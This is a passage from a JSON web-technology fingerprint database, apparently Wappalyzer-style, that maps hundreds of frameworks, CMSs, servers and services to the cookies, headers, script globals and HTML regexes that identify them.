Reviews":{},"CodeIgniter":{"cookies":{"ci_csrf_token":"^(.+)$\\;version:\\1?2+:","ci_session":"","exp_last_activity":"","exp_tracker":""},"html":["\u003cinput[^\u003e]+name=\"ci_csrf_token\"\\;version:2+"],"implies":["PHP"]},"CookieFirst":{"js":["cookiefirst_show_settings"]},"Socket.io":{"js":["io.socket","io.version"],"implies":["Node.js"]},"ColorMag":{},"OpenCms":{"headers":{"server":"opencms"},"html":["\u003clink href=\"/opencms/"],"implies":["Java"]},"SniperFast":{"js":["sniperenablesearch","sniper_search_key","sniperfast_page_id"]},"Vidazoo":{"js":["__vidazooplayer__","vidazoo","vidazoo.version"]},"Vitals":{"js":["vitals","vitals_app_cache_keys_v1","vitals_country_code","vitals_product_data"]},"Verloop":{"js":["verloop"]},"Osano":{"js":["osano"]},"JSS":{},"Astute Solutions":{},"Tealium":{"js":["tealiumenabled"]},"Disqus":{"js":["disqus","disqus_shortname","disqus_url"]},"American Express":{},"aThemes Hiero":{},"Zaraz":{"js":["zaraz","zarazdata"]},"mod_python":{"headers":{"server":"mod_python(?:/([\\d.]+))?\\;version:\\1"},"implies":["Python","Apache"]},"Material Design Lite":{"js":["materialicontoggle"],"html":["\u003clink[^\u003e]* href=\"[^\"]*material(?:\\.[\\w]+-[\\w]+)?(?:\\.min)?\\.css"]},"Convertcart":{},"OpenWeb":{"js":["spotim.initconversation"],"meta":{"spotim-ads":[]}},"One.com":{},"Luna":{"js":["ditto.__esmodule","dittoidlifetime","globaldittokey","globaldittoserver","jstextmap.dittosdkurl"],"headers":{"content-security-policy":"bsdk\\.api\\.ditto.com"}},"AlmaLinux":{"headers":{"server":"almalinux"}},"Ubercart":{"implies":["Drupal"]},"Jetty":{"headers":{"server":"jetty(?:\\(([\\d\\.]*\\d+))?\\;version:\\1"},"implies":["Java"]},"OVHcloud":{},"OpenBSD httpd":{"headers":{"server":"^openbsd httpd"}},"HetrixTools":{"js":["htoolz"],"headers":{"content-security-policy":"\\.hetrixtools\\.com"}},"Laravel":{"cookies":{"laravel_session":""},"js":["laravel"],"implies":["PHP"]},"Day.js":{"js":["dayjs"]},"Neve":{},"Mailgun":{},"RapidSpike":{"js":["rspike_timing"]},"W3 Total Cache":{"headers":{"x-powered-by":"w3 total cache(?:/([\\d.]+))?\\;version:\\1"},"html":["\u003c!--[^\u003e]+w3 total cache"]},"Google Wallet":{},"BigCommerce":{"js":["bigcommerce_config","bigcommerce_i18n"]},"WEBXPAY":{"js":["webxpay"],"html":["powered by \u003ca href=\"https://www\\.webxpay\\.com\"\u003ewebxpay\u003c"]},"Proximis":{},"keep. archeevo":{"js":["archeevosnippets.mostvieweddocumentsurl","embedarcheevobasicsearch"]},"amoCRM":{"js":["amoformswidget","amosocialbutton","amocrm","amo_pixel_client"]},"FreakOut":{"js":["fout","_fout_jsurl","_fout_queue"]},"Countly":{"js":["countly"]},"Inspectlet":{"js":["__insp","__inspld"],"html":["\u003c!-- (?:begin|end) inspectlet embed code --\u003e"]},"Nette Framework":{"cookies":{"nette-browser":""},"js":["nette.version","nette"],"headers":{"x-powered-by":"^nette framework"},"html":["\u003cinput[^\u003e]+data-nette-rules","\u003cdiv[^\u003e]+id=\"snippet-","\u003cinput[^\u003e]+id=\"frm-"],"implies":["PHP"]},"Amazon ALB":{"cookies":{"awsalb":"","awsalbcors":""},"implies":["Amazon Web Services"]},"Tiki Wiki CMS Groupware":{"meta":{"generator":["^tiki"]}},"CoinHive Captcha":{},"Green Valley CMS":{"html":["\u003cimg[^\u003e]+/dsresource\\?objectid="],"meta":{"dc.identifier":["/content\\.jsp\\?objectid="]},"implies":["Apache Tomcat"]},"Swagify":{"js":["swagify"]},"Narvar":{"js":["narvarjs_url","narvar"],"headers":{"content-security-policy":"\\.narvar\\.com"}},"Swell":{"cookies":{"swell-session":""},"js":["swell.version"],"html":["\u003c[^\u003e]*swell\\.is","\u003c[^\u003e]*swell\\.store","\u003c[^\u003e]*schema\\.io"]},"phpSQLiteCMS":{"meta":{"generator":["^phpsqlitecms(?: (.+))?$\\;version:\\1"]},"implies":["PHP","SQLite"]},"Frontity":{"meta":{"generator":["^frontity"]},"implies":["React","webpack","WordPress"]},"Sumo":{"js":["sumo","sumome"]},"Azure Front Door":{"cookies":{"aslbsacors":"","aslbsa":""},"headers":{"x-azure-ref":""},"implies":["Azure"]},"Swagger UI":{},"MageWorx Search Autocomplete":{},"LogiCommerce":{"meta":{"generator":["^logicommerce$"]}},"OpenCart":{"cookies":{"ocsessid":""},"implies":["PHP"]},"ShipTection":{"implies":["Shopify"]},"MAJIN":{"js":["ma.touch"]},"Piano":{"js":["pianoespconfig","gcidatapiano"]},"WordPress":{"js":["wp_username"],"headers":{"x-pingback":"/xmlrpc\\.php$","link":"rel=\"https://api\\.w\\.org/\""},"html":["\u003clink rel=[\"']stylesheet[\"'] [^\u003e]+/wp-(?:content|includes)/","\u003clink[^\u003e]+s\\d+\\.wp\\.com"],"meta":{"generator":["^wordpress(?: ([\\d.]+))?\\;version:\\1"],"shareaholic:wp_version":[]},"implies":["PHP","MySQL"]},"Affiliate Future":{},"MindBody":{"js":["healcodewidget"]},"Super Builder":{"implies":["Notion","Next.js"]},"Aprimo":{},"WebMetric":{"cookies":{"_wmuid":""},"js":["_wmid"]},"Rotic":{"js":["rotic.setting"]},"Meebo":{"html":["(?:\u003ciframe id=\"meebo-iframe\"|meebo\\('domready'\\))"]},"Solve Media":{"js":["acpuzzle","_acpuzzle","_adcopy-puzzle-image-image","adcopy-puzzle-image-image"]},"Vimeo OTT":{"js":["vhx.config","_vhx"],"implies":["Vimeo"]},"Cloudera":{"headers":{"server":"cloudera"}},"Ackee":{"js":["ackeetracker"]},"Xpresslane":{},"thttpd":{"headers":{"server":"\\bthttpd(?:/([\\d.]+))?\\;version:\\1"}},"Choices":{},"jQuery DevBridge Autocomplete":{"js":["$.devbridgeautocomplete","jquery.devbridgeautocomplete"],"implies":["jQuery"]},"JouwWeb":{"js":["jouwweb"]},"Conekta":{},"VideoJS":{"js":["videojs","videojs","videojs.version"],"css":["\\.video-js\\;confidence:25","\\.vjs-big-play-button\\;confidence:75"]},"OpenPay":{},"ThemeGrill Spacious":{"js":["spacious_slider_value"]},"Methode":{"html":["\u003c!-- methode uuid: \"[a-f\\d]+\" ?--\u003e"],"meta":{"eomportal-id":["\\d+"],"eomportal-instanceid":["\\d+"],"eomportal-lastupdate":[],"eomportal-loid":["[\\d.]+"],"eomportal-uuid":["[a-f\\d]+"]}},"HulkApps Infinite Product Options":{"js":["hulkapps.po_url"],"implies":["Shopify"]},"Liferay":{"js":["liferay"],"headers":{"liferay-portal":"[a-z\\s]+([\\d.]+)\\;version:\\1"}},"Coaster CMS":{"meta":{"generator":["^coaster cms v([\\d.]+)$\\;version:\\1"]},"implies":["Laravel"]},"Chaport":{"js":["chaport","chaportconfig"]},"CIVIC":{},"DX":{},"Blogger":{"meta":{"generator":["^blogger$"]},"implies":["Python"]},"Sailthru":{"cookies":{"sailthru_pageviews":""},"js":["sailthru","sailthruidentify","sailthrunewsletterregistration","tracksailthruuser"],"meta":{"sailthru.image.full":[],"sailthru.title":[]}},"AlertifyJS":{"js":["alertify.defaults.autoreset"]},"Blackbaud Luminate Online":{"js":["blackbaud","don_premium_map"]},"Twenty Nineteen":{},"Rollbar":{},"Rocket.Chat":{"js":["rocketchat.livechat"]},"gitweb":{"html":["\u003c!-- git web interface version ([\\d.]+)?\\;version:\\1"],"meta":{"generator":["gitweb(?:/([\\d.]+\\d))?\\;version:\\1"]},"implies":["Perl","git"]},"Acquia Cloud Site Factory":{"implies":["Acquia Cloud Platform","Drupal Multisite"]},"Mailmunch":{"js":["mailmunchwidgets","mailmunch"]},"Texthelp":{},"Yola":{},"Slick":{"html":["\u003clink [^\u003e]+(?:/([\\d.]+)/)?slick-theme\\.css\\;version:\\1"],"implies":["jQuery"]},"Parttrap ONE":{"js":["pt.translation.basketisempty","pt.analytics.additem","pt.sections.checkout"],"implies":["Handlebars","Microsoft ASP.NET","Bootstrap"]},"Caddy":{"headers":{"server":"^caddy$"},"implies":["Go"]},"Confer With":{},"Arc XP":{"js":["fusion.arcsite"]},"Apache JSPWiki":{"html":["\u003chtml[^\u003e]* xmlns:jspwiki="],"implies":["Apache Tomcat"]},"SabaVision":{"js":["sabavisionwebsiteid","sabavisionwebsitepage","sabavisionelement","__sabavision_get_add_timeout"],"meta":{"sabavision_zone":[]}},"Wunderkind":{"js":["bouncex"],"headers":{"content-security-policy":"\\.smarterhq\\.io"}},"Addi":{},"Reveal.js":{"js":["reveal.version"],"implies":["Highlight.js"]},"ShareThis":{"js":["sharethis","__sharethis__docready"]},"deepMiner":{"js":["deepminer"]},"augmented-ui":{},"Blossom Travel":{"js":["blossom_travel_data","blossom_travel_pro_data"]},"IIS":{"headers":{"server":"^(?:microsoft-)?iis(?:/([\\d.]+))?\\;version:\\1"},"implies":["Windows Server"]},"Oh Dear":{"js":["__next_data__.props.pageprops.config.useragent"]},"Duopana":{},"webEdition":{"meta":{"dc.title":["webedition"],"generator":["webedition"]}},"SMF":{"js":["smf_"],"html":["credits/?\" title=\"simple machines forum\" target=\"_blank\" class=\"new_win\"\u003esmf ([0-9.]+)\u003c/a\u003e\\;version:\\1"],"implies":["PHP"]},"Widen":{"js":["widensessiontimer","widenui"]},"IBM Coremetrics":{},"Frontastic":{"headers":{"frontastic-request-id":""}},"Zid":{"cookies":{"zid_catalog_session":""},"js":["zid.store","zidtracking.sendgaproductremovefromcartevent"]},"Linkedin Sign-in":{"js":["onlinkedinauth","onlinkedinload"]},"Outbrain":{"js":["outbrainpermalink","obapi.version","ob_adv_id","ob_releasever"]},"Xtremepush":{"js":["xtremepush"]},"InSyncai":{},"Mastodon":{"cookies":{"_mastodon_session":""},"headers":{"server":"^mastodon$"}},"Sentry":{"js":["ravenoptions.whitelisturls","raven.config","sentry","sentry.sdk_version","__sentry__"],"html":["\u003cscript[^\u003e]*\u003e\\s*raven\\.config\\('[^']*', \\{\\s+release: '([0-9\\.]+)'\\;version:\\1","\u003cscript[^\u003e]*src=\"[^\"]*browser\\.sentry\\-cdn\\.com/([0-9.]+)/bundle(?:\\.tracing)?(?:\\.min)?\\.js\\;version:\\1"]},"Oracle Application Server":{"headers":{"server":"oracle[- ]application[- ]server(?: containers for j2ee)?(?:[- ](\\d[\\da-z./]+))?\\;version:\\1"}},"Clarity":{"js":["clarityicons"],"implies":["Angular"]},"TiddlyWiki":{"js":["tiddler"],"html":["\u003c[^\u003e]*type=[^\u003e]text\\/vnd\\.tiddlywiki"],"meta":{"application-name":["^tiddlywiki$"],"copyright":["^tiddlywiki created by jeremy ruston"],"generator":["^tiddlywiki$"],"tiddlywiki-version":["^(.+)$\\;version:\\1"]}},"LogoiX":{},"Quantum Metric":{},"AWS Certificate Manager":{"implies":["Amazon Web Services"]},"Support Hero":{"js":["supportherowidget","supporthero"]},"GetSocial":{"js":["getsocial_version"]},"Cookie Information plugin":{"implies":["Cookie Information"]},"Perfex CRM":{},"Teads":{},"Web Shop Manager":{"js":["wsm_chart_colors_opaque","wsmhidehelpbox","wsm_catalogtabby","wsm.tracking"]},"Drop A Hint":{"js":["dropahint.baseurl","dropahinttypeproduct"]},"Hostpoint":{},"CouchDB":{"headers":{"server":"couchdb/([\\d.]+)\\;version:\\1"}},"Marketo Forms":{"js":["formatmarketoform"]},"Chatwoot":{"js":["$chatwoot","chatwootsdk"]},"MkDocs":{"meta":{"generator":["^mkdocs-([\\d.]+)\\;version:\\1"]}},"Spring for creators":{"js":["webpackjsonpteespring-custom-storefront"]},"Enjin CMS":{"js":["enjin_ui","enjin_core_storage_cache"]},"Lozad.js":{"js":["lozad"]},"Awesomplete":{"js":["awesomplete"],"html":["\u003clink[^\u003e]+href=\"[^\u003e]*awesomplete(?:\\.min)?\\.css"]},"vibecommerce":{"meta":{"designer":["vibecommerce"],"generator":["vibecommerce"]},"implies":["PHP"]},"uPortal":{"js":["uportal"],"meta":{"description":[" uportal "]},"implies":["Java"]},"Hamechio":{"meta":{"generator":["hamech\\.io/"]},"implies":["PHP"]},"VuePress":{"meta":{"generator":["^vuepress(?: ([0-9.]+)(-[a-z]+.[0-9]+)?)?$\\;version:\\1"]},"implies":["Vue.js"]},"Aegea":{"headers":{"x-powered-by":"^e2 aegea v(\\d+)$\\;version:\\1"},"implies":["PHP","jQuery"]},"Webmin":{"implies":["Perl"]},"Fork Awesome":{},"CareCart Sales Pop Up":{"implies":["Shopify"]},"WebAssembly":{"headers":{"content-type":"application/wasm"}},"AdaSiteCompliance":{"js":["adastoolboxappstate","adaschelper"]},"Deno":{},"Trengo":{"js":["trengo.eventbus"]},"CitrusPay":{},"Localised":{},"Zone.js":{"js":["zone.root"],"implies":["Angular"]},"RxJS":{"js":["rx.compositedisposable","rx.symbol"]},"Australia Post":{},"Userflow":{"js":["userflowjs_queue","userflow.endallflows","userflow.endchecklist"]},"InstantCMS":{"cookies":{"instantcms[logdate]":""},"meta":{"generator":["instantcms"]},"implies":["PHP"]},"eucookie.eu":{},"Social9":{},"Celeritas":{},"Zoominfo Chat":{},"Indi":{"js":["indi.formatstats","indicountly.check_any_consent","indi_carousel.productcta"]},"LiveRamp PCM":{"js":["wpjsonpliverampgdprcmp"]},"TypePad":{"meta":{"generator":["typepad"]}},"Elasticsearch":{},"Kapture CRM":{"js":["kapchat","kap_chat_js"]},"Razorpay":{"js":["razorpay"]},"Orankl":{"js":["orankl","oranklinit"]},"Venmo":{},"Dovetale":{"js":["dovetale"]},"AfterShip":{"js":["aftership.__version__"]},"PeerTube":{"meta":{"og:platform":["^peertube$"]}},"Atlassian Statuspage":{"headers":{"x-statuspage-skip-logging":"","x-statuspage-version":""},"html":["\u003ca[^\u003e]*href=\"https?://(?:www\\.)?statuspage\\.io/powered-by[^\u003e]+\u003e"]},"CKEditor":{"js":["ckeditor_basepath","ckeditor","ckeditor.version"]},"Embedly":{"js":["embedly"]},"Bricksite":{"js":["bricksite.common.apiurls.base"],"meta":{"generator":["^bricksite$"]}},"OpenResty":{"headers":{"server":"openresty(?:/([\\d.]+))?\\;version:\\1"},"implies":["Nginx"]},"mod_jk":{"headers":{"server":"mod_jk(?:/([\\d\\.]+))?\\;version:\\1"},"implies":["Apache Tomcat","Apache"]},"Najva":{"js":["najva.identifyemailsubscriber"]},"SoteShop":{"cookies":{"soteshop":"^\\w+$"},"implies":["PHP"]},"HeliumWeb":{"js":["helium.js"],"headers":{"x-powered-by":"adrikikicp development"},"implies":["PHP"]},"Payl8r":{},"Reelevant":{"js":["reel.companyid"],"headers":{"content-security-policy":"\\.reelevant\\.com"}},"Emotive":{"js":["emotivepopupinitializing"]},"Libravatar":{},"Rudderstack":{"js":["rudderanalytics"]},"Neos Flow":{"headers":{"x-flow-powered":"flow/?(.+)?$\\;version:\\1"},"implies":["PHP"]},"Google Charts":{"js":["__googlevisualizationabstractrendererelementscount__","__gvizguard__"]},"Nepso":{"headers":{"x-powered-cms":"nepso"}},"Medium":{"headers":{"x-powered-by":"^medium$"},"implies":["Node.js"]},"Sellingo":{"js":["sellingoquantitycalc"]},"MyBlogLog":{},"Beeketing":{"js":["beeketinganalyticsparams","beeketingsdkloaded"]},"October CMS":{"cookies":{"october_session":""},"meta":{"generator":["octobercms"]},"implies":["Laravel"]},"SpurIT Abandoned Cart Reminder":{"js":["acr_spurit_params.foldercss"],"implies":["Shopify"]},"MyLiveChat":{"js":["mylivechat.version"]},"Mynetcap":{"meta":{"generator":["mynetcap"]}},"phpMyAdmin":{"js":["pma_absolute_uri"],"html":["!\\[cdata\\[[^\u003c]*pma_version:\\\"([\\d.]+)\\;version:\\1","(?: \\| phpmyadmin ([\\d.]+)\u003c\\/title\u003e|pma_sendheaderlocation\\(|\u003clink [^\u003e]*href=\"[^\"]*phpmyadmin\\.css\\.php)\\;version:\\1"],"implies":["PHP","MySQL"]},"Divi":{"js":["divi"],"meta":{"generator":["divi"]}},"Peek":{"js":["peek","peekjsapi","_peekconfig"]},"Engagio":{},"AdBridg":{"js":["adbridg.cmd"]},"AppDynamics":{"js":["adrum.conf.agentver"]},"Sortable":{"js":["deployads"]},"VuFind":{"js":["vufind.defaultsearchbackend"],"meta":{"generator":["^vufind\\s([\\d\\.]+)$\\;version:\\1"]}},"Qualtrics":{"js":["qsi.clientsidetargeting"]},"List.js":{"js":["list"]},"KaTeX":{"js":["katex","katex.version"]},"Albacross":{"js":["_nqsv"]},"HighStore":{"meta":{"generator":["^highstore\\.ir$"],"hs:version":["^([\\d\\.]+)$\\;version:\\1\\;confidence:50"]},"implies":["Microsoft ASP.NET"]},"Clicky":{"js":["clicky"]},"Decibel":{"js":["decibelinsight","decibelinsightlayer"]},"Wisepops":{"js":["wisepopsobject","wisepops._api"]},"Invoca":{"js":["invoca.pnapi.version","invocatagid"]},"Cowboy":{"headers":{"server":"^cowboy$"}},"plentyShop LTS":{"headers":{"x-plenty-shop":"ceres"}},"Includable":{"headers":{"x-includable-version":""}},"Postscript":{"js":["postscript.issubscriberinputchecked","postscript.getsubscriberid"]},"Loop Returns":{"js":["loop.config.variantparam","looponstore"]},"BugSnag":{"js":["bugsnagclient","bugsnag","bugsnag"]},"MooTools":{"js":["mootools","mootools.version"]},"theTradeDesk":{"js":["ttduniversalpixelapi","ttd_dom_ready"]},"microCMS":{},"Strapdown.js":{"implies":["Bootstrap","Google Code Prettify"]},"TwicPics":{"headers":{"server":"^twicpics/\\d+\\.\\d+\\.\\d+$"}},"Google AdSense":{"js":["__google_ad_urls","adsbygoogle","google_ad_","goog_adsense_","goog_adsense_osdadapter"]},"AdOpt":{"js":["adopt_website_code","adoptapp.domain"]},"MiniServ":{"headers":{"server":"miniserv/([\\d\\.]+)\\;version:\\1"},"implies":["Webmin"]},"lite-youtube-embed":{"implies":["YouTube"]},"Demandbase":{"js":["demandbase","demandbase.version"]},"Fedora":{"headers":{"server":"fedora"}},"LatitudePay":{"js":["checkout.enabledpayments.latitudepay","wc_ga_pro.available_gateways.latitudepay"]},"MochiKit":{"js":["mochikit.mochikit.version","mochikit"]},"Smarter Click":{"js":["$smcinstall","$smct5","$smctdata"]},"Smile":{"js":["smile.channel_key"]},"MediaWiki":{"js":["mw.util.toggletoc","wgtitle","wgversion"],"html":["\u003cbody[^\u003e]+class=\"mediawiki\"","\u003c(?:a|img)[^\u003e]+\u003epowered by mediawiki\u003c/a\u003e","\u003ca[^\u003e]+/special:whatlinkshere/"],"meta":{"generator":["^mediawiki ?(.+)$\\;version:\\1"]},"implies":["PHP"]},"MonsterInsights":{"js":["monsterinsights","monsterinsights_frontend"]},"Jobvite":{"js":["jobvite"]},"Gatsby":{"meta":{"generator":["^gatsby(?: ([0-9.]+))?$\\;version:\\1"]},"implies":["React","webpack"]},"OXID eShop Community Edition":{"html":["\u003c!--[^-]*oxid eshop community edition, version (\\d+)\\;version:\\1"],"implies":["PHP"]},"StackCommerce":{"js":["stacksonar"]},"TownNews":{"js":["tncms","tnstats_tracker","tntracker"],"headers":{"x-tncms":""}},"SheerID":{"js":["sheerid","sheerid"],"headers":{"content-security-policy":"\\.sheerid\\.com","content-security-policy-report-only":"\\.sheerid\\.com"}},"Loox":{"js":["loox_global_hash"],"implies":["Shopify"]},"Avasize":{},"Ace":{"js":["ace.editsession","ace.editor","ace.version"]},"Draftpress HFCM":{"html":["\u003c!--[^\u003e]*hfcm\\sby\\s99\\srobots"]},"Shopfa":{"js":["shopfa"],"headers":{"x-powered-by":"^shopfa ([\\d.]+)$\\;version:\\1"},"meta":{"generator":["^shopfa ([\\d.]+)$\\;version:\\1"]}},"Keap":{},"Oracle Recommendations On Demand":{},"Preact":{},"Scoop.it":{},"mod_perl":{"headers":{"server":"mod_perl(?:/([\\d\\.]+))?\\;version:\\1"},"implies":["Perl","Apache"]},"Shopify Chat":{"implies":["Shopify"]},"OneSignal":{"js":["onesignal","__onesignalsdkloadcount"]},"Usercentrics":{"js":["usercentrics.appversion"]},"Live Story":{"js":["lshelpers","livestory"]},"CPG Dragonfly":{"headers":{"x-powered-by":"^dragonfly cms"},"meta":{"generator":["cpg dragonfly"]},"implies":["PHP"]},"EdgeCast":{"headers":{"server":"^ecd\\s\\(\\s+\\)"}},"Yandex.Cloud":{},"Homerr":{},"Recruitee":{"js":["rtapp.mapboxtoken"]},"Polymer":{"js":["polymer.version"],"html":["(?:\u003cpolymer-[^\u003e]+|\u003clink[^\u003e]+rel=\"import\"[^\u003e]+/polymer\\.html\")"]},"Loggly":{"js":["logglytracker"]},"Umami":{},"Avis Verifies":{"js":["avisverifies"]},"ConvertKit":{},"Limit Login Attempts Reloaded":{},"Actito":{"cookies":{"smartfocus":""},"js":["_actgoal","smartfocus"]},"Typecho":{"js":["typechocomment"],"meta":{"generator":["typecho( [\\d.]+)?\\;version:\\1"]},"implies":["PHP"]},"Recurly":{"js":["recurly.version"],"html":["\u003cinput[^\u003e]+data-recurly"]},"Affiliate B":{},"MailChimp for WordPress":{"js":["mc4wp"],"implies":["MailChimp"]},"USPS":{},"Mouse Flow":{"js":["_mfq"]},"MoinMoin":{"cookies":{"moin_session":""},"js":["show_switch2gui"],"implies":["Python"]},"hoolah":{"js":["hoolah"]},"Transcy":{"js":["_transcy","transcy_apiuri","transcy_shopifylocales"]},"e-goi":{"js":["egoimmerce","_egoiaq"]},"Acquia Content Hub":{"headers":{"content-security-policy":"content-hub\\.acquia\\.com"},"implies":["Acquia Cloud Platform"]},"LazySizes":{"js":["lazysizes","lazysizesconfig"]},"Yotpo SMSBump":{"js":["smsbumpform"]},"Service Provider Pro":{"cookies":{"spp_csrf":"\\;confidence:25","spp_orderform":"","spp_session":"\\;confidence:25"},"js":["spporderform"],"meta":{"server":["app.spp.co"]}},"phpCMS":{"js":["phpcms"],"implies":["PHP"]},"reCAPTCHA":{"js":["recaptcha","recaptcha"]},"SaaSquatch":{"js":["saasquatch_tenant_alias","squatch.ctawidget","squatchquery"]},"Digest":{"headers":{"www-authenticate":"^digest"}},"TruValidate":{},"EasyEngine":{"headers":{"x-powered-by":"^easyengine (.*)$\\;version:\\1"},"implies":["Docker"]},"Addsearch":{},"Amazon Cloudfront":{"headers":{"via":"\\(cloudfront\\)$","x-amz-cf-id":""},"implies":["Amazon Web Services"]},"SPDY":{"headers":{"x-firefox-spdy":"\\d\\.\\d"}},"ClickHeat":{"js":["clickheatserver"],"implies":["PHP"]},"WordPress Default":{},"Asana":{},"Mews":{"js":["mews"]},"WebFactory Maintenance":{"js":["mtnc_front_options"]},"Twenty Twelve":{},"Clearbit Reveal":{},"Easy Redirects":{"implies":["Shopify"]},"T1 Envios":{"meta":{"generator":["^t1envios$"]}},"Amazon S3":{"headers":{"server":"^amazons3$","content-security-policy":"s3\\.[^ ]*amazonaws\\.com"},"implies":["Amazon Web Services"]},"Vignette":{"html":["\u003c[^\u003e]+=\"vgn-?ext"]},"Wix":{"cookies":{"domain":"\\.wix\\.com"},"js":["wixbisession","wixperformancemeasurements"],"headers":{"x-wix-request-id":"","x-wix-server-artifact-id":"","x-wix-renderer-server":""},"meta":{"generator":["wix\\.com website builder"]},"implies":["React"]},"Neos CMS":{"headers":{"x-flow-powered":"neos/?(.+)?$\\;version:\\1"},"implies":["Neos Flow"]},"IPFS":{"headers":{"x-ipfs-roots":"","x-ipfs-gateway-host":"","x-ipfs-pop":"","x-cf-ipfs-cache-status":"","x-ipfs-root":"","x-ipfs-root-cid":"","x-ipfs-datasize":"","x-ipfs-path":"","x-ipfs-lb-pop":""}},"Calendly":{"js":["calendly"]},"Eveve":{"html":["\u003ciframe[^\u003e]*[\\w]+\\.eveve\\.com"],"implies":["PHP"]},"Pagar.me":{"js":["pagarmecheckout","pagarme.balance"]},"Qubit":{"js":["__qubit","onqubitready"]},"Frequenceo":{},"e107":{"cookies":{"e107_tz":""},"headers":{"x-powered-by":"e107"},"implies":["PHP"]},"Ryviu":{"js":["ryviu_global_settings"]},"Zeus Technology":{"js":["zeus.version","zeusadunitpath"]},"Svbtle":{"meta":{"generator":["^svbtle\\.com$"]}},"Yahoo! Tag Manager":{"html":["\u003c!-- (?:end )?yahoo! tag manager --\u003e"]},"Epom":{"js":["epomcustomparams"]},"Parse.ly":{"js":["parsely"]},"Essential Addons for Elementor":{},"Zyro":{"meta":{"generator":["^zyro\\.com website builder$"]},"implies":["Vue.js"]},"Etherpad":{"js":["padeditbar","padimpexp"],"headers":{"server":"^etherpad"},"implies":["Node.js"]},"crypto-js":{"js":["cryptojs.rabbit","cryptojs.algo"]},"Synerise":{},"Hosting Ukraine":{},"YouCam Makeup":{"js":["ymk.applymakeupbylook","ymk.caldeltae"]},"RBS Change":{"html":["\u003chtml[^\u003e]+xmlns:change="],"meta":{"generator":["rbs change"]},"implies":["PHP"]},"GeneXus":{"js":["gx.gxversion"],"html":["\u003clink[^\u003e]+?id=\"gxtheme_css_reference\""]},"Highcharts":{"js":["highcharts.version","highcharts"],"html":["\u003csvg[^\u003e]*\u003e\u003cdesc\u003ecreated with highcharts ([\\d.]*)\\;version:\\1"]},"Hyperspeed":{"js":["hyperscripts"],"implies":["Shopify","Instant.Page"]},"Amazon Cognito":{"implies":["Amazon Web Services"]},"The Arena Group":{"meta":{"generator":["^tempest\\s-\\smaven\\.io$"]}},"TrackJs":{"js":["trackjs","trackjs"]},"Themebeez Cream Magazine":{"js":["cream_magazine_script_obj"]},"SpeedKit":{"js":["speedkit"]},"ReConvert":{"implies":["Shopify"]},"Drapr":{"js":["drapr_data","drapr_deferloading"]},"mParticle":{"js":["mparticle","mparticle.config.snippetversion"]},"gunicorn":{"headers":{"server":"gunicorn(?:/([\\d.]+))?\\;version:\\1"},"implies":["Python"]},"PWA":{},"Bookingkit":{"js":["bookingkitapp"]},"HP iLO":{"headers":{"server":"hp-ilo-server(?:/([\\d.]+))?\\;version:\\1"}},"Tessitura":{"html":["\u003c!--[^\u003e]+tessitura version: (\\d*\\.\\d*\\.\\d*)?\\;version:\\1"],"implies":["Microsoft ASP.NET","IIS","Windows Server"]},"Cotonti":{"meta":{"generator":["cotonti"]},"implies":["PHP"]},"utterances":{},"Narrativ":{},"Web2py":{"headers":{"x-powered-by":"web2py"},"meta":{"generator":["^web2py"]},"implies":["Python","jQuery"]},"Simpli.fi":{},"Discourse":{"js":["discourse"],"meta":{"generator":["discourse(?: ?/?([\\d.]+\\d))?\\;version:\\1"]},"implies":["Ruby on Rails"]},"Microsoft 365":{},"Optimove":{"js":["optimovesdk","optimovesdkversion"]},"Cart.js":{"implies":["Shopify"]},"Facebook Ads":{},"AdOcean":{"js":["ado.master","ado.placement","ado.slave"],"implies":["Gemius"]},"PayPal":{"js":["paypaljs","wc_ga_pro.available_gateways.paypal","paypal","__paypal_global__","checkout.enabledpayments.paypal","enablepaypal","paypal","paypalclientid"],"headers":{"content-security-policy":"\\.paypal\\.com"},"meta":{"id":["in-context-paypal-metadata"]}},"Think Up Themes Consulting":{},"Reviews.io":{"js":["reviewsio_sharelink","reviewsio_hasvoted"]},"user.com":{"js":["userengage"],"html":["\u003cdiv[^\u003e]+/id=\"ue_widget\""]},"Recomify":{"implies":["Shopify"]},"Twenty Thirteen":{},"CoconutSoftware":{"cookies":{"coconut_calendar":""}},"SmartWeb":{"meta":{"generator":["^smartweb$"]}},"Jenkins":{"js":["jenkinsciglobal","jenkinsrules"],"headers":{"x-jenkins":"([\\d.]+)\\;version:\\1"},"html":["\u003cspan class=\"jenkins_ver\"\u003e\u003ca href=\"https://jenkins\\.io/\"\u003ejenkins ver\\. ([\\d.]+)\\;version:\\1"],"implies":["Java"]},"Oracle Commerce":{"headers":{"x-atg-version":"(?:atgplatform/([\\d.]+))?\\;version:\\1"}},"Lightning":{"js":["lightningopt.header_scrool"]},"Amazon CloudWatch RUM":{"js":["awsrum","awsrumclient","awsrumclient.v","awsrumconfig"]},"Nuvemshop":{"js":["ls.store.url","nuvemshopidproduct"]},"Immutable.js":{"js":["immutable","immutable.version"]},"Rebuy":{"js":["rebuyconfig"],"implies":["Cart Functionality"]},"Broadstreet":{"js":["broadstreet"]},"GitLab":{"cookies":{"_gitlab_session":""},"js":["gitlab","gl.dashboardoptions"],"html":["\u003cmeta content=\"https?://[^/]+/assets/gitlab_logo-","\u003cheader class=\"navbar navbar-fixed-top navbar-gitlab with-horizontal-nav\"\u003e"],"meta":{"og:site_name":["^gitlab$"]},"implies":["Ruby on Rails","Vue.js"]},"CNZZ":{"js":["cnzz_protocol"]},"lit-html":{"js":["lithtmlversions.0"]},"ShinyStat":{"js":["sssdk"],"html":["\u003cimg[^\u003e]*\\s+src=['\"]?https?://www\\.shinystat\\.com/cgi-bin/shinystat\\.cgi\\?[^'\"\\s\u003e]*['\"\\s/\u003e]"]},"SPNEGO":{"headers":{"www-authenticate":"^negotiate"}},"LINE Login":{"js":["constants.authorization_request_url"]},"LiveHelp":{"js":["lhready"]},"Accessibility Toolbar Plugin":{"js":["micaccesstool.prototype.opencloseboxkeyboard"]},"Haptik":{"js":["haptiksdk","haptik","haptikinitsettings"]},"Upvoty":{"js":["upvoty"],"implies":["PHP"]},"UPS":{},"Tipsa":{},"GLS":{},"Marketo":{"js":["munchkin"]},"DigiCert":{},"Jumbo":{"implies":["Shopify"]},"BowNow":{"cookies":{"bownow_mbid":"","bownow_act":"","bownow_aid":"","bownow_cid":""},"js":["_bownow_ts"]},"Retail Rocket":{"cookies":{"rrpvid":"^\\d+$","rr-testcookie":"testvalue"},"js":["retailrocket","rraddtobasket","rrapionready","rrlibrary","rrpartnerid"]},"Split":{"js":["splitio_api_key","split_shopper_client","split_visitor_client","splitio"]},"Envo 